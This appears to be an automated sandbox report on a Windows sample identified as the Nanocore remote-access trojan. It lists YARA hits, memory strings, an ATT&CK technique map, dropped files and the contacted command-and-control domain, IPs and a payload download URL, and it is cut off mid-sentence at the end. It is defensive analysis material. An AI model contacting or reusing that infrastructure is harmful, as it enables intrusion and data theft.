Source: Yara match	File source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.563611472.0000000002F31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.358914418.0000000002EB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.377395934.0000000002CA1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.354775896.0000000003191000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 4324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 6916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 4700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 5656, type: MEMORYSTR

Remote Access Functionality:

Detected Nanocore Rat

Show sources

Source: FYrMKmDjFi.exe, 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: FYrMKmDjFi.exe, 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: FYrMKmDjFi.exe, 00000004.00000002.563611472.0000000002F31000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: FYrMKmDjFi.exe, 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: dhcpmon.exe, 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: FYrMKmDjFi.exe, 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: FYrMKmDjFi.exe, 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: dhcpmon.exe, 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: dhcpmon.exe, 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: dhcpmon.exe, 0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: dhcpmon.exe, 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: dhcpmon.exe, 0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.dhcpmon.exe.3f8df50.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf4bed.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FYrMKmDjFi.exe.3dfce00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f84bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.FYrMKmDjFi.exe.371d858.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3efb78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f805c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf05c4.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5860000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3ceb78e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e4bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b20108.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e05c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f805c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e05c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5860000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf05c4.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.dhcpmon.exe.3f8df50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5864629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.dhcpmon.exe.4112080.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f005c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b20108.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b22fb8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f005c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f04bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.563611472.0000000002F31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.358914418.0000000002EB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.377395934.0000000002CA1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.354775896.0000000003191000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 4324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 6916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 4700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 5656, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Process Injection312	Masquerading2	Input Capture21	Security Software Discovery1	Remote Services	Input Capture21	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data11	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion21	Security Account Manager	Virtualization/Sandbox Evasion21	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Remote Access Software1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection312	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Ingress Tool Transfer1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Non-Application Layer Protocol2	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Hidden Files and Directories1	Cached Domain Credentials	System Information Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Application Layer Protocol3	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information1	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing11	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Timestomp1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Link
FYrMKmDjFi.exe	23%	Virustotal	Browse
FYrMKmDjFi.exe	9%	ReversingLabs
FYrMKmDjFi.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\dhcpmon.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	9%	ReversingLabs
C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	9%	ReversingLabs
C:\Users\user\AppData\Local\Temp\dhcpmon.exe	9%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
14.2.dhcpmon.exe.400000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen7	Download File
15.2.dhcpmon.exe.400000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen7	Download File
4.2.FYrMKmDjFi.exe.400000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen7	Download File
12.2.FYrMKmDjFi.exe.400000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen7	Download File
4.2.FYrMKmDjFi.exe.5860000.8.unpack	100%	Avira	TR/NanoCore.fadte	Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cloudhost.myfirewall.org	91.121.250.249	true	false		high
store2.gofile.io	31.14.69.10	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://store2.gofile.io/download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://store2.gofile.io	FYrMKmDjFi.exe, 00000000.00000002.307882153.0000000002C91000.00000004.00000001.sdmp, FYrMKmDjFi.exe, 00000009.00000002.337961314.00000000025B1000.00000004.00000001.sdmp, dhcpmon.exe, 0000000A.00000002.341541167.0000000002E21000.00000004.00000001.sdmp, dhcpmon.exe, 0000000D.00000002.357144491.0000000002831000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	FYrMKmDjFi.exe, 00000000.00000002.307882153.0000000002C91000.00000004.00000001.sdmp, FYrMKmDjFi.exe, 00000004.00000002.563611472.0000000002F31000.00000004.00000001.sdmp, FYrMKmDjFi.exe, 00000009.00000002.337961314.00000000025B1000.00000004.00000001.sdmp, dhcpmon.exe, 0000000A.00000002.341541167.0000000002E21000.00000004.00000001.sdmp, dhcpmon.exe, 0000000D.00000002.357144491.0000000002831000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
91.121.250.249	cloudhost.myfirewall.org	France		16276	OVHFR	false
31.14.69.10	store2.gofile.io	Virgin Islands (BRITISH)		199483	LINKER-ASFR	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	500510
Start date:	12.10.2021
Start time:	02:45:03
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 28s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	FYrMKmDjFi.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@18/12@11/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 0.1% (good quality ratio 0.1%) Quality average: 71.2% Quality standard deviation: 3%
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. TCP Packets have been reduced to 100 Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.203.141.148, 20.82.209.183, 2.20.178.56, 2.20.178.10, 20.199.120.151, 20.199.120.85, 2.20.178.24, 2.20.178.33, 20.199.120.182, 20.54.110.249, 40.112.88.60 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, client.wns.windows.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many 